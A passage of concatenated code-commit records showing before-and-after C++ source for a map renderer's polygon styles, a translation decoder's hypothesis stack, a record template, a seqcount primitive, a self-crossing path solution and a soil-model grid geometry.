vertices to mesh\n        mesh->addVertices((GLbyte*)m_vertices.data(), (int)m_vertices.size());\n        mesh->addIndices(m_indices.data(), (int)m_indices.size());\n        \/\/1. addGeometry should take either take the name of the style or pointer to the style (this)\n        _tile.addGeometry(*this, std::move(mesh));\n    }\n}\n\nvoid PolygonStyle::fillVertexData(const GLuint& _abgr) {\n    for(int i = (int)m_vertices.size(); i < m_vertCoords.size(); i++) {\n        m_vertices.push_back( { m_vertCoords[i].x, m_vertCoords[i].y, m_vertCoords[i].z,\n                                m_vertNormals[i].x, m_vertNormals[i].y, m_vertNormals[i].z,\n                                _abgr\n                              });\n    }\n    return;\n}\n\nvoid PolygonStyle::clearStyleData() {\n    m_vertices.clear();\n    m_indices.clear();\n    m_vertCoords.clear();\n    m_vertNormals.clear();\n}\n\nvoid PolygonStyle::setup() {\n}\n\n\n\/*\n * MultiPolygon Style Class Methods\n *\/\n\nMultiPolygonStyle::MultiPolygonStyle(std::string _geomType, std::string _styleName, GLenum _drawMode) : Style(_geomType, _styleName, _drawMode) {\n\n    \/\/ Pass in a fileName or a url to construct shader strings from\n    m_vertShaderSrcStr =\n        \"#ifdef GL_ES\\n\"\n        \"precision mediump float;\\n\"\n        \"#endif\\n\"\n        \"uniform mat4 u_modelViewProj;\\n\"\n        \"attribute vec4 a_position;\\n\"\n        \"attribute vec4 a_color;\\n\"\n        \"varying vec4 v_color;\\n\"\n        \"void main() {\\n\"\n        \"  v_color = a_color;\\n\"\n        \"  gl_Position = u_modelViewProj * a_position;\\n\"\n        \"}\\n\";\n\n    m_fragShaderSrcStr =\n        \"#ifdef GL_ES\\n\"\n        \"precision mediump float;\\n\"\n        \"#endif\\n\"\n        \"varying vec4 v_color;\\n\"\n        \"void main(void) {\\n\"\n        \"  gl_FragColor = v_color;\\n\"\n        \"}\\n\";\n\n    constructVertexLayout();\n    constructShaderProgram();\n}\n\nMultiPolygonStyle::MultiPolygonStyle(std::string _geomType, GLenum _drawMode) : MultiPolygonStyle(_geomType, _geomType, _drawMode) {}\n\nvoid MultiPolygonStyle::constructVertexLayout() {\n    \/\/ fixed per style... this is basic position, normal color\n    m_vertexLayout = std::shared_ptr<VertexLayout>(new VertexLayout({\n        {\"a_position\", 3, GL_FLOAT, false, 0},\n        {\"a_normal\", 3, GL_FLOAT, false, 0},\n        {\"a_color\", 4, GL_UNSIGNED_BYTE, true, 0}\n    }));\n}\n\nvoid MultiPolygonStyle::constructShaderProgram() {\n    m_shaderProgram = std::shared_ptr<ShaderProgram>(new ShaderProgram());\n    m_shaderProgram->buildFromSourceStrings(m_fragShaderSrcStr, m_vertShaderSrcStr);\n}\n\nvoid MultiPolygonStyle::addData(const Json::Value& _jsonRoot, MapTile& _tile, const MapProjection& _mapProjection) {\n    \/\/ Create a vboMesh which will eventually contain all the data\n    std::unique_ptr<VboMesh> mesh(new VboMesh(m_vertexLayout, m_drawMode));\n\n    \/\/Extract Feature Properties\n    for(auto& layer : m_layerColorMap) {\n        Json::Value layerFeatures = _jsonRoot[layer.first.c_str()][\"features\"];\n        \/\/iterate through all features and check for respective geometry type\n        for(int i = 0; i < layerFeatures.size(); i++) {\n            if(m_geomType.compare(JsonExtractor::extractGeomType(layerFeatures[i])) == 0) {\n                int numPolys = JsonExtractor::extractNumPoly(layerFeatures[i]);\n                float featureHeight = 0;\n                float minFeatureHeight = 0;\n                std::vector<glm::vec3> extractedGeomCoords;\n                std::vector<int> polyRingSizes;\n                JsonExtractor::extractGeomCoords(extractedGeomCoords, polyRingSizes, layerFeatures[i], _tile.getOrigin(), _mapProjection, numPolys);\n                GeometryHandler::buildPolygon(extractedGeomCoords, polyRingSizes, m_vertCoords, m_vertNormals, m_indices);\n                JsonExtractor::extractFeatureHeightProps(layerFeatures[i], featureHeight, minFeatureHeight);\n                if(featureHeight != minFeatureHeight) {\n                    GeometryHandler::buildPolygonExtrusion(extractedGeomCoords, polyRingSizes, minFeatureHeight, m_vertCoords, m_vertNormals, m_indices);\n                }\n                \/* fill style's m_vertices with vertCoord, vertNormal and color data *\/\n                fillVertexData(layer.second);\n            }\n            else {\n                continue;\n            }\n        }\n    }\n    if(m_vertices.size() == 0) {\n        \/\/Nothing to add to mesh, get rid of mesh\n        mesh.reset(nullptr);\n    }\n    else {\n        \/\/Add vertices to mesh\n        mesh->addVertices((GLbyte*)m_vertices.data(), m_vertices.size());\n        mesh->addIndices((GLushort*)m_indices.data(), m_indices.size());\n        \/\/1. addGeometry should take either take the name of the style or pointer to the style (this)\n        _tile.addGeometry(*this, std::move(mesh));\n    }\n}\n\nvoid MultiPolygonStyle::fillVertexData(const GLuint& _abgr) {\n    for(int i = m_vertices.size(); i < m_vertCoords.size(); i++) {\n        m_vertices.push_back( { m_vertCoords[i].x, m_vertCoords[i].y, m_vertCoords[i].z,\n                                m_vertNormals[i].x, m_vertNormals[i].y, m_vertNormals[i].z,\n                                _abgr\n                              });\n    }\n    return;\n}\n\nvoid MultiPolygonStyle::clearStyleData() {\n    m_vertices.clear();\n    m_indices.clear();\n    m_vertCoords.clear();\n    m_vertNormals.clear();\n}\n\nvoid MultiPolygonStyle::setup() {\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Stack.cpp\n *\n *  Created on: 24 Oct 2015\n *      Author: hieu\n *\/\n#include <algorithm>\n#include <boost\/foreach.hpp>\n#include \"Stack.h\"\n#include \"Hypothesis.h\"\n#include \"..\/Scores.h\"\n\nusing namespace std;\n\nStack::Stack() {\n\t\/\/ TODO Auto-generated constructor stub\n\n}\n\nStack::~Stack() {\n\t\/\/ TODO Auto-generated destructor stub\n}\n\nvoid Stack::Add(const Hypothesis *hypo, Recycler<Hypothesis*> &hypoRecycle)\n{\n\tStackAdd added = Add(hypo);\n\n\tif (added.toBeDeleted) {\n\t\thypoRecycle.Add(added.toBeDeleted);\n\t}\n}\n\nStackAdd Stack::Add(const Hypothesis *hypo)\n{\n  std::pair<iterator, bool> addRet = m_hypos.insert(hypo);\n  if (addRet.second) {\n    \/\/ equiv hypo doesn't exists\n\treturn StackAdd(true, NULL);\n  }\n  else {\n\t  const Hypothesis *hypoExisting = *addRet.first;\n\t  if (hypo->GetScores().GetTotalScore() > hypoExisting->GetScores().GetTotalScore()) {\n\t\t  \/\/ incoming hypo is better than the one we have\n\t\t  m_hypos.erase(addRet.first);\n\n\t\t  \/\/ re-add. It better go in\n\t\t  std::pair<iterator, bool> addRet = m_hypos.insert(hypo);\n\t\t  assert(addRet.second);\n\n\t\t  return StackAdd(true, const_cast<Hypothesis*>(hypoExisting));\n\t\t  \/*\n\t\t  const_cast<Hypothesis*>(hypo)->Swap(*const_cast<Hypothesis*>(hypoExisting));\n\t\t  return StackAdd(true, const_cast<Hypothesis*>(hypo));\n\t\t  *\/\n\t  }\n\t  else {\n\t\t  \/\/ already storing the best hypo. discard incoming hypo\n\t\t  return StackAdd(false, const_cast<Hypothesis*>(hypo));\n\t  }\n  }\n}\n\nstd::vector<const Hypothesis*> Stack::GetBestHyposAndPrune(size_t num, Recycler<Hypothesis*> &recycler) const\n{\n  std::vector<const Hypothesis*> ret = GetBestHypos(num);\n  if (num && ret.size() > num) {\n\t  for (size_t i = num; i < ret.size(); ++i) {\n\t\t  Hypothesis *hypo = const_cast<Hypothesis*>(ret[i]);\n\t\t  recycler.Add(hypo);\n\t  }\n\t  ret.resize(num);\n  }\n  return ret;\n}\n\nstd::vector<const Hypothesis*> Stack::GetBestHypos(size_t num) const\n{\n  std::vector<const Hypothesis*> ret(m_hypos.begin(), m_hypos.end());\n\n  std::vector<const Hypothesis*>::iterator iterMiddle;\n  iterMiddle = (num == 0 || ret.size() < num)\n\t\t\t   ? ret.end()\n\t\t\t   : ret.begin()+num;\n\n  std::partial_sort(ret.begin(), iterMiddle, ret.end(),\n\t\t  HypothesisFutureScoreOrderer());\n\n  return ret;\n}\n\n\n<commit_msg>force new hypo into stack<commit_after>\/*\n * Stack.cpp\n *\n *  Created on: 24 Oct 2015\n *      Author: hieu\n *\/\n#include <algorithm>\n#include <boost\/foreach.hpp>\n#include \"Stack.h\"\n#include \"Hypothesis.h\"\n#include \"..\/Scores.h\"\n\nusing namespace std;\n\nStack::Stack() {\n\t\/\/ TODO Auto-generated constructor stub\n\n}\n\nStack::~Stack() {\n\t\/\/ TODO Auto-generated destructor stub\n}\n\nvoid Stack::Add(const Hypothesis *hypo, Recycler<Hypothesis*> &hypoRecycle)\n{\n\tStackAdd added = Add(hypo);\n\n\tif (added.toBeDeleted) {\n\t\thypoRecycle.Add(added.toBeDeleted);\n\t}\n}\n\nStackAdd Stack::Add(const Hypothesis *hypo)\n{\n  std::pair<iterator, bool> addRet = m_hypos.insert(hypo);\n  if (addRet.second) {\n    \/\/ equiv hypo doesn't exists\n\treturn StackAdd(true, NULL);\n  }\n  else {\n\t  const Hypothesis *hypoExisting = *addRet.first;\n\t  if (hypo->GetScores().GetTotalScore() > hypoExisting->GetScores().GetTotalScore()) {\n\t\t  \/\/ incoming hypo is better than the one we have\n\n\t\t  const Hypothesis *const &h1 = *addRet.first;\n\t\t  const Hypothesis *&h2 = const_cast<const Hypothesis *&>(h1);\n\t\t  h2 = hypo;\n\n\t\t  return StackAdd(true, const_cast<Hypothesis*>(hypoExisting));\n\t\t  \/*\n\t\t  const_cast<Hypothesis*>(hypo)->Swap(*const_cast<Hypothesis*>(hypoExisting));\n\t\t  return StackAdd(true, const_cast<Hypothesis*>(hypo));\n\t\t  *\/\n\t  }\n\t  else {\n\t\t  \/\/ already storing the best hypo. discard incoming hypo\n\t\t  return StackAdd(false, const_cast<Hypothesis*>(hypo));\n\t  }\n  }\n}\n\nstd::vector<const Hypothesis*> Stack::GetBestHyposAndPrune(size_t num, Recycler<Hypothesis*> &recycler) const\n{\n  std::vector<const Hypothesis*> ret = GetBestHypos(num);\n  if (num && ret.size() > num) {\n\t  for (size_t i = num; i < ret.size(); ++i) {\n\t\t  Hypothesis *hypo = const_cast<Hypothesis*>(ret[i]);\n\t\t  recycler.Add(hypo);\n\t  }\n\t  ret.resize(num);\n  }\n  return ret;\n}\n\nstd::vector<const Hypothesis*> Stack::GetBestHypos(size_t num) const\n{\n  std::vector<const Hypothesis*> ret(m_hypos.begin(), m_hypos.end());\n\n  std::vector<const Hypothesis*>::iterator iterMiddle;\n  iterMiddle = (num == 0 || ret.size() < num)\n\t\t\t   ? ret.end()\n\t\t\t   : ret.begin()+num;\n\n  std::partial_sort(ret.begin(), iterMiddle, ret.end(),\n\t\t  HypothesisFutureScoreOrderer());\n\n  return ret;\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n#ifndef _RECORD_HPP\n#define _RECORD_HPP\n\n#include \"config.hpp\"\n#include \"field.hpp\"            \/\/ for fp::field\n#include \"int_sequence.hpp\"     \/\/ for fp::index_of\n#include \"type_traits.hpp\"      \/\/ for fp::EnableIf, fp::DisableIf\n\n#include <tuple>        \/\/ for std::tuple, std::get\n\n\nnamespace fp {\n    template<typename...>\n    struct record;\n    \n    \/\/ This sole purpose of this declaration is to enable ADL\n    template<typename> void get() = delete;\n\n    template<typename>\n    struct is_record : Bool<false> { };\n    \n    template<typename... TFields>\n    struct is_record<record<TFields...> > : All<is_field<TFields>...> { };\n    \n    template<>\n    struct record<> {\n        template<typename... TOther>\n        struct rebind {\n            using type = record<TOther...>;\n        };\n    };\n\n    template<typename... TFields>\n    struct record {\n    public:\n        \n        template<typename... TOther>\n        struct rebind {\n            using type = record<TOther...>;\n        };\n        \n        template<std::size_t Idx>\n        struct nth_type {\n            using type = NthTypeOf<Idx, Invoke<TFields>...>;\n        };\n    protected:\n        std::tuple<Invoke<TFields>...> _values;\n    public:\n\n        constexpr record()\n        : _values() {\n        }\n\n        constexpr record(Invoke<TFields>... fs)\n        : _values(std::move(fs)...) {\n        }\n\n        record(record const & rec)\n        : _values(rec._values) {\n        }\n\n        record(record && rec) noexcept\n        : _values() {\n            swap(*this, rec);\n        }\n\n        friend void swap(record & l, record & r) noexcept {\n            using std::swap;\n            swap(l._values, r._values);\n        }\n\n        constexpr static std::size_t size() {\n            return sizeof...(TFields);\n        }\n\n        template<std::size_t Idx>\n        friend Invoke<nth_type<index_of<Idx, TFields::index...>::value>> & get(record & rec) {\n            return std::get<index_of<Idx, TFields::index...>::value>(rec._values);\n        }\n\n        template<std::size_t Idx>\n        friend Invoke<nth_type<index_of<Idx, TFields::index...>::value>> const & get(record const & rec) {\n            return std::get<index_of<Idx, TFields::index...>::value>(rec._values);\n        }\n\n        template<typename TField, EnableIf<is_field<TField>> = _>\n        friend Invoke<TField> & get(record & rec) {\n            return get<TField::index>(rec);\n        }\n\n        template<typename TField, EnableIf<is_field<TField>> = _>\n        friend Invoke<TField> const & get(record const & rec) {\n            return get<TField::index>(rec);\n        }\n    };\n}\n\n#endif<commit_msg>added default copy-constructor, move-constructor, copy-assignment, and move-assignment operator<commit_after>\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n#ifndef _RECORD_HPP\n#define _RECORD_HPP\n\n#include \"config.hpp\"\n#include \"field.hpp\"            \/\/ for fp::field\n#include \"int_sequence.hpp\"     \/\/ for fp::index_of\n#include \"type_traits.hpp\"      \/\/ for fp::EnableIf, fp::DisableIf\n\n#include <tuple>        \/\/ for std::tuple, std::get\n\n\nnamespace fp {\n    template<typename...>\n    struct record;\n    \n    \/\/ This sole purpose of this declaration is to enable ADL\n    template<typename> void get() = delete;\n\n    template<typename>\n    struct is_record : Bool<false> { };\n    \n    template<typename... TFields>\n    struct is_record<record<TFields...> > : All<is_field<TFields>...> { };\n    \n    template<>\n    struct record<> {\n        template<typename... TOther>\n        struct rebind {\n            using type = record<TOther...>;\n        };\n    };\n\n    template<typename... TFields>\n    struct record {\n    public:\n        \n        template<typename... TOther>\n        struct rebind {\n            using type = record<TOther...>;\n        };\n        \n        template<std::size_t Idx>\n        struct nth_type {\n            using type = NthTypeOf<Idx, Invoke<TFields>...>;\n        };\n    protected:\n        std::tuple<Invoke<TFields>...> _values;\n    public:\n\n        constexpr record() = default;\n\n        record(record const &) = default;\n\n        record(record && rec) = default;\n\n        constexpr record(Invoke<TFields>... fs)\n        : _values(std::move(fs)...) {\n        }\n\n        record & operator=(record const &) = default;\n        record & operator=(record &&) = default;\n\n        friend void swap(record & l, record & r) noexcept {\n            using std::swap;\n            swap(l._values, r._values);\n        }\n\n        constexpr static std::size_t size() {\n            return sizeof...(TFields);\n        }\n\n        template<std::size_t Idx>\n        friend Invoke<nth_type<index_of<Idx, TFields::index...>::value>> & get(record & rec) {\n            return std::get<index_of<Idx, TFields::index...>::value>(rec._values);\n        }\n\n        template<std::size_t Idx>\n        friend Invoke<nth_type<index_of<Idx, TFields::index...>::value>> const & get(record const & rec) {\n            return std::get<index_of<Idx, TFields::index...>::value>(rec._values);\n        }\n\n        template<typename TField, EnableIf<is_field<TField>> = _>\n        friend Invoke<TField> & get(record & rec) {\n            return get<TField::index>(rec);\n        }\n\n        template<typename TField, EnableIf<is_field<TField>> = _>\n        friend Invoke<TField> const & get(record const & rec) {\n            return get<TField::index>(rec);\n        }\n    };\n}\n\n#endif<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include \"amd64.h\"\n#ifdef XV6_KERNEL\n#include \"atomic.hh\"\n#else\n#include <atomic>\n#endif\n\n\/**\n * A seqcount is a synchronization primitive that, in conjunction with\n * some form of mutual exclusion, provides write-free optimistic reads\n * of shared data.\n *\/\ntemplate<typename T = unsigned>\nclass seqcount\n{\n  std::atomic<T> seq_;\n\npublic:\n  constexpr seqcount() : seq_(0) { }\n\n  \/**\n   * An RAII object representing a read section protected by a\n   * seqcount.\n   *\/\n  class reader\n  {\n    seqcount * const sc_;\n    T init_;\n\n  public:\n    constexpr reader(seqcount *sc, T init) : sc_(sc), init_(init) { }\n\n    \/**\n     * Return true if this read section needs to be retried because of\n     * an intervening write section.\n     *\/\n    bool need_retry() const\n    {\n      \/\/ The release fence prevents code (specifically, reads) from\n      \/\/ sinking below the check.\n      std::atomic_thread_fence(std::memory_order_release);\n      return sc_->seq_.load(std::memory_order_relaxed) != init_;\n    }\n\n    T count() const\n    {\n      return init_;\n    }\n  };\n\n  \/**\n   * Signal the beginning of a read of the shared data protected by\n   * this seqcount.  This read is opportunistic, so after reading the\n   * data, the caller must call #reader::need_retry() on the returned\n   * object and, if it returns true, restart the read (including the\n   * read_begin()).  Note that the reader must assume that any data\n   * returned before need_retry() returns false may be garbage (for\n   * example, it's not safe to follow pointers without additional\n   * protection from something like RCU).\n   *\/\n  reader read_begin()\n  {\n  retry:\n    \/\/ Acquire order disables code hoisting so that reads in the\n    \/\/ caller don't move before our counter snapshot.  Furthermore,\n    \/\/ this synchronizes with the release store in writer::done such\n    \/\/ that, if we observe its write, we will observe all writes\n    \/\/ before it.\n    auto s = seq_.load(std::memory_order_acquire);\n    if (s & 1) {\n      nop_pause();\n      goto retry;\n    }\n    return reader(this, s);\n  }\n\n  \/**\n   * An RAII section representing a write section that may conflict\n   * with read sections managed by a seqcount.\n   *\/\n  class writer\n  {\n    seqcount *sc_;\n    T val_;\n\n  public:\n    constexpr writer(seqcount *sc, T val) : sc_(sc), val_(val) { }\n\n    \/**\n     * End the write section.\n     *\/\n    ~writer()\n    {\n      done();\n    }\n\n    \/**\n     * End the write section.\n     *\/\n    void done() __attribute__((always_inline))\n    {\n      if (sc_) {\n        \/\/ This is the mirror of write_begin: writes are not allowed\n        \/\/ to move after this, but reads are.\n        sc_->seq_.store(val_ + 1, std::memory_order_release);\n        sc_ = nullptr;\n      }\n    }\n  };\n\n  \/**\n   * Begin a write section.  This alone does not synchronize write\n   * sections; the caller is responsible for acquiring some other form\n   * of mutual exclusion before this and releasing it after ending the\n   * write section.\n   *\n   * Another thread attempting to start a reads will spin until this\n   * write section ends.  If another thread is currently in a read\n   * section, it will be forced to retry.\n   *\/\n  writer write_begin()\n  {\n    \/\/ Writes are not allowed to move before this because they may be\n    \/\/ observed by a reader that thinks the value is stable.  Reads\n    \/\/ are allowed to move before this because they cannot affect the\n    \/\/ value observed by readers (and the caller is required to\n    \/\/ precede this with a lock acquire, which is a stronger barrier).\n    \/\/ Furthermore, because the caller provides mutual exclusion, we\n    \/\/ don't have to worry about competing writes, so we don't need an\n    \/\/ interlocked increment.\n    \/\/\n    \/\/ Because of the surrounding synchronization, we use relaxed\n    \/\/ ordering for the load and store (the stronger barrier of the\n    \/\/ lock will prevent even these from hoisting).  To ensure nothing\n    \/\/ after the store hoists, we follow it with an acquire fence.\n    T val = seq_.load(std::memory_order_relaxed);\n    seq_.store(val + 1, std::memory_order_relaxed);\n    std::atomic_thread_fence(std::memory_order_acquire);\n    return writer(this, val + 1);\n  }\n};\n<commit_msg>export seqcount value too<commit_after>#pragma once\n\n#include \"amd64.h\"\n#ifdef XV6_KERNEL\n#include \"atomic.hh\"\n#else\n#include <atomic>\n#endif\n\n\/**\n * A seqcount is a synchronization primitive that, in conjunction with\n * some form of mutual exclusion, provides write-free optimistic reads\n * of shared data.\n *\/\ntemplate<typename T = unsigned>\nclass seqcount\n{\n  std::atomic<T> seq_;\n\npublic:\n  constexpr seqcount() : seq_(0) { }\n\n  \/**\n   * An RAII object representing a read section protected by a\n   * seqcount.\n   *\/\n  class reader\n  {\n    seqcount * const sc_;\n    T init_;\n\n  public:\n    constexpr reader(seqcount *sc, T init) : sc_(sc), init_(init) { }\n\n    \/**\n     * Return true if this read section needs to be retried because of\n     * an intervening write section.\n     *\/\n    bool need_retry() const\n    {\n      \/\/ The release fence prevents code (specifically, reads) from\n      \/\/ sinking below the check.\n      std::atomic_thread_fence(std::memory_order_release);\n      return sc_->seq_.load(std::memory_order_relaxed) != init_;\n    }\n\n    T count() const\n    {\n      return init_;\n    }\n  };\n\n  \/**\n   * Signal the beginning of a read of the shared data protected by\n   * this seqcount.  This read is opportunistic, so after reading the\n   * data, the caller must call #reader::need_retry() on the returned\n   * object and, if it returns true, restart the read (including the\n   * read_begin()).  Note that the reader must assume that any data\n   * returned before need_retry() returns false may be garbage (for\n   * example, it's not safe to follow pointers without additional\n   * protection from something like RCU).\n   *\/\n  reader read_begin()\n  {\n  retry:\n    \/\/ Acquire order disables code hoisting so that reads in the\n    \/\/ caller don't move before our counter snapshot.  Furthermore,\n    \/\/ this synchronizes with the release store in writer::done such\n    \/\/ that, if we observe its write, we will observe all writes\n    \/\/ before it.\n    auto s = seq_.load(std::memory_order_acquire);\n    if (s & 1) {\n      nop_pause();\n      goto retry;\n    }\n    return reader(this, s);\n  }\n\n  \/**\n   * An RAII section representing a write section that may conflict\n   * with read sections managed by a seqcount.\n   *\/\n  class writer\n  {\n    seqcount *sc_;\n    T val_;\n\n  public:\n    constexpr writer(seqcount *sc, T val) : sc_(sc), val_(val) { }\n\n    \/**\n     * End the write section.\n     *\/\n    ~writer()\n    {\n      done();\n    }\n\n    \/**\n     * End the write section.\n     *\/\n    void done() __attribute__((always_inline))\n    {\n      if (sc_) {\n        \/\/ This is the mirror of write_begin: writes are not allowed\n        \/\/ to move after this, but reads are.\n        sc_->seq_.store(val_ + 1, std::memory_order_release);\n        sc_ = nullptr;\n      }\n    }\n  };\n\n  \/**\n   * Begin a write section.  This alone does not synchronize write\n   * sections; the caller is responsible for acquiring some other form\n   * of mutual exclusion before this and releasing it after ending the\n   * write section.\n   *\n   * Another thread attempting to start a reads will spin until this\n   * write section ends.  If another thread is currently in a read\n   * section, it will be forced to retry.\n   *\/\n  writer write_begin()\n  {\n    \/\/ Writes are not allowed to move before this because they may be\n    \/\/ observed by a reader that thinks the value is stable.  Reads\n    \/\/ are allowed to move before this because they cannot affect the\n    \/\/ value observed by readers (and the caller is required to\n    \/\/ precede this with a lock acquire, which is a stronger barrier).\n    \/\/ Furthermore, because the caller provides mutual exclusion, we\n    \/\/ don't have to worry about competing writes, so we don't need an\n    \/\/ interlocked increment.\n    \/\/\n    \/\/ Because of the surrounding synchronization, we use relaxed\n    \/\/ ordering for the load and store (the stronger barrier of the\n    \/\/ lock will prevent even these from hoisting).  To ensure nothing\n    \/\/ after the store hoists, we follow it with an acquire fence.\n    T val = seq_.load(std::memory_order_relaxed);\n    seq_.store(val + 1, std::memory_order_relaxed);\n    std::atomic_thread_fence(std::memory_order_acquire);\n    return writer(this, val + 1);\n  }\n\n  T count() const\n  {\n    \/\/ XXX what memory order should we use here?\n    return seq_.load();\n  }\n};\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Time:  O(n)\n\/\/ Space: O(1)\n\nclass Solution {\npublic:\n    bool isSelfCrossing(vector<int>& x) {\n        for (int i = 3; i < x.size(); ++i) {\n            if (x[i] >= x[i - 2] && x[i - 3] >= x[i - 1]) {\n\/\/                          i-2\n\/\/              case 1 : i-1┌─┐\n\/\/                          └─┼─>i\n\/\/                           i-3\n                return true;\n            } else if (i >= 4 && x[i - 1] == x[i - 3] && x[i] + x[i - 4] >= x[i - 2]) {\n\/\/                          i-2\n\/\/              case 2 : i-1┌────┐\n\/\/                          └─══>┘i-3\n\/\/                          i  i-4  (overlapped)  \n                return true;\n            } else if (i >= 5 && x[i - 4] <= x[i - 2] && x[i] + x[i - 4] >= x[i - 2] &&\n                       x[i - 1] <= x[i - 3] && x[i - 1] + x[i - 5] >= x[i - 3]) {\n\/\/                          i-4\n\/\/                          ┌──┐ \n\/\/              case 3 :    │i<┼─┐\n\/\/                       i-3│ i-5│i-1\n\/\/                          └────┘\n\/\/                          i-2\n                return true;\n            }\n        }\n        return false;\n    }\n};\n<commit_msg>Update self-crossing.cpp<commit_after>\/\/ Time:  O(n)\n\/\/ Space: O(1)\n\nclass Solution {\npublic:\n    bool isSelfCrossing(vector<int>& x) {\n        if (x.size() >= 5 && x[3] == x[1] && x[4] + x[0] >= x[2]) {\n            \/\/ Crossing in a loop:\n            \/\/     i-2\n            \/\/ i-1┌────┐\n            \/\/    └─══>┘i-3\n            \/\/    i i-4  (overlapped)  \n            return true;\n        }\n\n        for (int i = 3; i < x.size(); ++i) {\n            if (x[i] >= x[i - 2] && x[i - 3] >= x[i - 1]) {\n                \/\/ Crossing in a shrinking spiral:\n                \/\/    i-2\n                \/\/ i-1┌─┐\n                \/\/    └─┼─>i\n                \/\/     i-3\n                return true;\n            } else if (i >= 5 && x[i - 4] <= x[i - 2] && x[i] + x[i - 4] >= x[i - 2] &&\n                       x[i - 1] <= x[i - 3] && x[i - 1] + x[i - 5] >= x[i - 3]) {\n                \/\/ Crossing in a growing spiral:\n                \/\/    i-4\n                \/\/    ┌──┐ \n                \/\/    │i<┼─┐\n                \/\/ i-3│ i-5│i-1\n                \/\/    └────┘\n                \/\/ i-2\n                return true;\n            }\n        }\n        return false;\n    }\n};\n<|endoftext|>"}
{"text":"<commit_before>\/\/ geometry_rect.C -- Horizontal and vertical grid lines.\n\/\/ \n\/\/ Copyright 2006 Per Abrahamsen and KVL.\n\/\/\n\/\/ This file is part of Daisy.\n\/\/ \n\/\/ Daisy is free software; you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Lesser Public License as published by\n\/\/ the Free Software Foundation; either version 2.1 of the License, or\n\/\/ (at your option) any later version.\n\/\/ \n\/\/ Daisy is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU Lesser Public License for more details.\n\/\/ \n\/\/ You should have received a copy of the GNU Lesser Public License\n\/\/ along with Daisy; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\n#include \"geometry_rect.h\"\n#include \"check.h\"\n#include \"vcheck.h\"\n#include \"block.h\"\n#include \"submodel.h\"\n#include <sstream>\n\nsize_t \nGeometryRect::cell_at (const double z, const double x, const double) const\n{ \n  size_t cell = 0;\n  while (zplus_[cell] > z)\n    {\n      cell++;\n      daisy_assert (cell < cell_size ());\n    }\n  while (xplus_[cell] < x)\n    { \n      cell += cell_columns_;\n      daisy_assert (cell < cell_size ());\n    }      \n  return cell;\n}\n\ndouble \nGeometryRect::fraction_in_z_interval (const size_t i, \n                                      const double from, const double to) const\n{ return fraction_within (zplus (i), zminus (i), to, from); }\n\nbool \nGeometryRect::contain_z (const size_t i, const double z) const\n{ \n  daisy_assert (zminus (i) > zplus (i));\n  return  zminus (i) > z && z >= zplus (i); \n}\n\nbool \nGeometryRect::check (Treelog&) const\n{\n  bool ok = true;\n  return ok;\n}\n\nbool \nGeometryRect::check_border (const double border, Treelog& err) const\n{\n  bool ok = false;\n\n  for (size_t i = 0; i < cell_rows_; i++)\n    if (approximate (border, zplus (i)))\n      ok = true;\n\n  if (!ok)\n    {\n      std::ostringstream tmp;\n      tmp << \"No geometric border near \" << border \n             << \" [cm], log results may be inexact\";\n      err.warning (tmp.str ());\n    }\n\n  return ok;\n}\n\nvoid\nGeometryRect::load_syntax (Syntax& syntax, AttributeList&)\n{ \n  alist.add (\"submodel\", \"GeometryRect\");\n  syntax.add (\"zplus\", \"cm\", Check::negative (), \n\t      Syntax::Const, Syntax::Sequence,\n\t      \"Depth of each numeric layer (a negative number).\\n\\\nThe end points are listed descending from the surface to the bottom.\");\n  static VCheck::All zplus_check (VCheck::decreasing (), \n\t\t\t\t  VCheck::min_size_1 ());\n  syntax.add_check (\"zplus\", zplus_check);\n  syntax.add (\"xplus\", \"cm\", Check::positive (), \n\t      Syntax::Const, Syntax::Sequence,\n\t      \"Horizontal end of each numeric layer (a positive number).\\n\\\nThe end points are listed ascending from left (0.0) to right.\");\n  static VCheck::All xplus_check (VCheck::increasing (), \n\t\t\t\t  VCheck::min_size_1 ());\n  syntax.add_check (\"xplus\", xplus_check);\n}\n  \nGeometryRect::GeometryRect (Block& al)\n  : GeometryVert (al), \n    cell_rows_ (al.number_sequence (\"zplus\").size ()),\n    cell_columns_ (al.number_sequence (\"xplus\").size ())\n{\n  \/\/ Initialize base.\n  size_ = cell_columns () * cell_rows ();\n\n  \/\/ Extract grid information from parameters.\n  const std::vector<double> z_end (al.number_sequence (\"zplus\"));\n  std::vector<double> z_center;\n  std::vector<double> z_distance;\n  initialize_intervals (z_end, z_center, z_distance);\n  const std::vector<double> x_end (al.number_sequence (\"xplus\"));\n  std::vector<double> x_center;\n  std::vector<double> x_distance;\n  initialize_intervals (x_end, x_center, x_distance);\n\n  \/\/ Fill in cells by column, starting from the top left corner.\n  size_t next_cell = 0;\n  for (size_t column = 0; column < cell_columns (); column++)\n    {\n      \/\/ Top edge.\n      size_t last_cell = cell_above;\n      \n      for (size_t row = 0; row < cell_rows (); row++)\n        {\n          \/\/ Cell\n          zplus_.push_back (z_end[row]);\n          z_.push_back (z_center[row]);\n          dz_.push_back (z_distance[row]);\n          xplus_.push_back (x_end[column]);\n          x_.push_back (x_center[column]);\n          dx_.push_back (x_distance[column]);\n          \/\/ Vertical edge.\n          edge_from_.push_back (next_cell);\n          edge_to_.push_back (last_cell);\n          edge_area_.push_back (x_distance[column]);\n          \/\/ Next node.\n          daisy_assert (next_cell == cell_index (row, column));\n          last_cell = next_cell;\n          next_cell++;\n        }\n      \/\/ Bottom edge.\n      edge_from_.push_back (cell_below);\n      edge_to_.push_back (last_cell);\n      edge_area_.push_back (x_distance[column]);\n    }\n  daisy_assert (next_cell == cell_size ());\n\n  \/\/ Horizontal edges.\n  for (size_t row = 0; row < cell_rows (); row++)\n    for (size_t column = 